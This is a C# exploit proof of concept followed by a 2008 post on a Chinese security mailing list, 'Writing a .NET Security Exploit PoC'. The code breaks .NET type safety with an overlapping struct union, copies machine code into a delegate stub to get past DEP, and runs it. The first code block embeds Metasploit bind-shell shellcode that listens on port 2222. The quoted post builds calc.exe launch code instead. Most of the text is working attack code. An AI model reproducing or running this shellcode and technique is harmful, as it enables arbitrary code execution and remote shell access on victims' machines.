using System;
using System.IO;
using System.Threading;
using System.Text;
using System.Runtime.InteropServices;
class Union1
{
internal volatile int i = 0;
internal volatile int j;
}
class Union2
{
internal volatile object o;
internal volatile int[] arr = null;
}
class TypeSafetyExploitPoC
{
[StructLayout(LayoutKind.Explicit)]
struct UnsafeUnion
{
[FieldOffset(0)]
internal Union1 u1;
[FieldOffset(0)]
internal Union2 u2;
}
static Union1 TypeSystemHole(Union2 u2)
{
// NOT ACTUALLY A SECURITY HOLE!
// You need full trust to execute this code.
UnsafeUnion uu = new UnsafeUnion();
uu.u2 = u2;
return uu.u1;
}
static void DummyMethod()
{
}
internal static void Main(string[] args)
{
Union1 u1;
Union2 u2 = new Union2();
u1 = TypeSystemHole(u2);
ThreadStart del = new ThreadStart(DummyMethod);
u2.o = del;
u1.j = u1.i;
u1.j = u2.arr[2] - 12;
MemoryStream mem = new MemoryStream();
BinaryWriter bw = new BinaryWriter(mem);
BinaryReader reader = new BinaryReader(mem);
try
{
// win32_bind - EXITFUNC=thread LPORT=2222 Size=344 Encoder=PexFnstenvSub
http://metasploit.com
byte[] shellcode = { 0x29, 0xc9, 0x83, 0xe9, 0xb0, 0xd9, 0xee, 0xd9, 0x74,
0x24, 0xf4, 0x5b, 0x81, 0x73, 0x13, 0x0e, 0x4b, 0x46, 0x7e, 0x83, 0xeb, 0xfc,
0xe2, 0xf4, 0xf2, 0x21, 0xad, 0x33, 0xe6, 0xb2, 0xb9, 0x81, 0xf1, 0x2b, 0xcd,
0x12, 0x2a, 0x6f, 0xcd, 0x3b, 0x32, 0xc0, 0x3a, 0x7b, 0x76, 0x4a, 0xa9, 0xf5,
0x41, 0x53, 0xcd, 0x21, 0x2e, 0x4a, 0xad, 0x37, 0x85, 0x7f, 0xcd, 0x7f, 0xe0,
0x7a, 0x86, 0xe7, 0xa2, 0xcf, 0x86, 0x0a, 0x09, 0x8a, 0x8c, 0x73, 0x0f, 0x89,
0xad, 0x8a, 0x35, 0x1f, 0x62, 0x56, 0x7b, 0xae, 0xcd, 0x21, 0x2a, 0x4a, 0xad,
0x18, 0x85, 0x47, 0x0d, 0xf5, 0x51, 0x57, 0x47, 0x95, 0x0d, 0x67, 0xcd, 0xf7,
0x62, 0x6f, 0x5a, 0x1f, 0xcd, 0x7a, 0x9d, 0x1a, 0x85, 0x08, 0x76, 0xf5, 0x4e,
0x47, 0xcd, 0x0e, 0x12, 0xe6, 0xcd, 0x3e, 0x06, 0x15, 0x2e, 0xf0, 0x40, 0x45,
0xaa, 0x2e, 0xf1, 0x9d, 0x20, 0x2d, 0x68, 0x23, 0x75, 0x4c, 0x66, 0x3c, 0x35,
0x4c, 0x51, 0x1f, 0xb9, 0xae, 0x66, 0x80, 0xab, 0x82, 0x35, 0x1b, 0xb9, 0xa8,
0x51, 0xc2, 0xa3, 0x18, 0x8f, 0xa6, 0x4e, 0x7c, 0x5b, 0x21, 0x44, 0x81, 0xde,
0x23, 0x9f, 0x77, 0xfb, 0xe6, 0x11, 0x81, 0xd8, 0x18, 0x15, 0x2d, 0x5d, 0x18,
0x05, 0x2d, 0x4d, 0x18, 0xb9, 0xae, 0x68, 0x23, 0x4e, 0xd0, 0x68, 0x18, 0xcf,
0x9f, 0x9b, 0x23, 0xe2, 0x64, 0x7e, 0x8c, 0x11, 0x81, 0xd8, 0x21, 0x56, 0x2f,
0x5b, 0xb4, 0x96, 0x16, 0xaa, 0xe6, 0x68, 0x97, 0x59, 0xb4, 0x90, 0x2d, 0x5b,
0xb4, 0x96, 0x16, 0xeb, 0x02, 0xc0, 0x37, 0x59, 0xb4, 0x90, 0x2e, 0x5a, 0x1f,
0x13, 0x81, 0xde, 0xd8, 0x2e, 0x99, 0x77, 0x8d, 0x3f, 0x29, 0xf1, 0x9d, 0x13,
0x81, 0xde, 0x2d, 0x2c, 0x1a, 0x68, 0x23, 0x25, 0x13, 0x87, 0xae, 0x2c, 0x2e,
0x57, 0x62, 0x8a, 0xf7, 0xe9, 0x21, 0x02, 0xf7, 0xec, 0x7a, 0x86, 0x8d, 0xa4,
0xb5, 0x04, 0x53, 0xf0, 0x09, 0x6a, 0xed, 0x83, 0x31, 0x7e, 0xd5, 0xa5, 0xe0,
0x2e, 0x0c, 0xf0, 0xf8, 0x50, 0x81, 0x7b, 0x0f, 0xb9, 0xa8, 0x55, 0x1c, 0x14,
0x2f, 0x5f, 0x1a, 0x2c, 0x7f, 0x5f, 0x1a, 0x13, 0x2f, 0xf1, 0x9b, 0x2e, 0xd3,
0xd7, 0x4e, 0x88, 0x2d, 0xf1, 0x9d, 0x2c, 0x81, 0xf1, 0x7c, 0xb9, 0xae, 0x85,
0x1c, 0xba, 0xfd, 0xca, 0x2f, 0xb9, 0xa8, 0x5c, 0xb4, 0x96, 0x16, 0xe1, 0x85,
0xa6, 0x1e, 0x5d, 0xb4, 0x90, 0x81, 0xde, 0x4b, 0x46, 0x7e };
bw.Write( shellcode, 0, shellcode.Length );
}
catch( Exception e )
{
Console.WriteLine( "Write error." + e.Message );
}
try
{
byte[] tmp = mem.ToArray();
for (int i = 0; i < tmp.Length / 4; i++)
{
u2.arr[1 + i] = BitConverter.ToInt32(tmp, i * 4);
}
del();
}
catch
{
}
}
}
2008-09-17
云舒
发件人： Program_Worker
发送时间： 2008-09-17 11:24:40
收件人： Ph4nt0m
抄送：
主题： [Ph4nt0m] Re: Writing a .NET Security Exploit PoC
VS2008测试没有通过
On 9月16日, 上午10时59分, 大风 <[EMAIL PROTECTED]> wrote:
> Let's start out with some convenient types that allow bit twiddeling once
> we've subverted the type system:
>
> class Union1
> {
> internal volatile int i;
> internal volatile int j;
>
> }
>
> class Union2
> {
> internal volatile object o;
> internal volatile int[] arr;
>
> }
>
> Now we need a way to get two different references to the same object. This
> is where the exploit comes in, but since I'm not going to publish an exploit
> for an unpatched bug, we'll make do with something that works but requires
> full trust:
>
> [StructLayout(LayoutKind.Explicit)]
> struct UnsafeUnion
> {
> [FieldOffset(0)]
> internal Union1 u1;
> [FieldOffset(0)]
> internal Union2 u2;
>
> }
>
> static Union1 TypeSystemHole(Union2 u2)
> {
> // NOT ACTUALLY A SECURITY HOLE!
> // You need full trust to execute this code.
> UnsafeUnion uu = new UnsafeUnion();
> uu.u2 = u2;
> return uu.u1;
>
> }
>
> Now for the interesting bit, getting some x86 code to execute:
>
> Union1 u1;
> Union2 u2 = new Union2();
> u1 = TypeSystemHole(u2);
>
> // u1 and u2 now reference the same object,
> // meaning that we can now convert arbitrary integer
> // into objects or arrays (and v.v.)
>
> ThreadStart del = new ThreadStart(DummyMethod);
>
> // A delegate provides an easy way to call the code we're
> // generating. As it turns out, it is also a good way
> // to bypass DEP, because the delegate stub is in writable
> // executable memory.
>
> u2.o = del;
> u1.j = u1.i;
> u1.j = u2.arr[2] - 12;
>
> // Make the delegate object accessible via the object[],
> // then get the address the delegate points to and make
> // it accessible via the object[] reference.
>
> // The x86 code we're creating is:
> //
> // 6A 05 push 5
> // 68 xx xx xx xx push offset string "calc.exe"
> // B8 xx xx xx xx mov eax,<address of kernel32!WinExec>
> // FF D0 call eax
> // C3 ret
> //
>
> MemoryStream mem = new MemoryStream();
> BinaryWriter bw = new BinaryWriter(mem);
> bw.Write((byte)0x6A);
> bw.Write((byte)0x05);
> bw.Write((byte)0x68);
> u2.o = Encoding.ASCII.GetBytes("calc.exe\0");
> bw.Write(u1.i + 8);
> bw.Write((byte)0xB8);
> bw.Write(GetProcAddressAny("WinExec"));
> bw.Write((byte)0xFF);
> bw.Write((byte)0xD0);
> bw.Write((byte)0xC3);
> bw.Write(0);
>
> // Now that we've created the code, copy it into the delegate
> // stub memory area.
>
> byte[] tmp = mem.ToArray();
> for (int i = 0; i < tmp.Length / 4; i++)
> {
> u2.arr[1 + i] = BitConverter.ToInt32(tmp, i * 4);
>
> }
>
> // Invoke the delegate, which will result in running our
> // code, instead of the delegate stub.
>
> del();
>
> The missing piece is GetProcAddressAny. It basically searches memory for
> kernel32 and looks up the address of the WinExec function.
>
> The full source is available here: TypeSafetyExploitPoC.cs
> <http://www.frijters.net/TypeSafetyExploitPoC.cs.txt>
>
> Note that this PoC requires full trust and obviously only works on x86, but
> all the ideas are applicable to x64 as well.
>
> 2008-9-13 9:03:01 (W. Europe Daylight Time, UTC+02:00)
>
> [Ph4nt0m] <http://www.ph4nt0m.org/>
>
> [Ph4nt0m Security Team]
>
> <http://blog.ph4nt0m.org/> [EMAIL PROTECTED]
>
> Email: [EMAIL PROTECTED]
>
> PingMe:
> <http://cn.pingme.messenger.yahoo.com/webchat/ajax_webchat.php?yid=han...
> hq&sig=9ae1bbb1ae99009d8859e88e899ab2d1c2a17724>
>
> === V3ry G00d, V3ry Str0ng ===
>
> === Ultim4te H4cking ===
>
> === XPLOITZ ! ===
>
> === #_# ===
>
> #If you brave,there is nothing you cannot achieve.#
>
> image001.gif
> 5K查看下载
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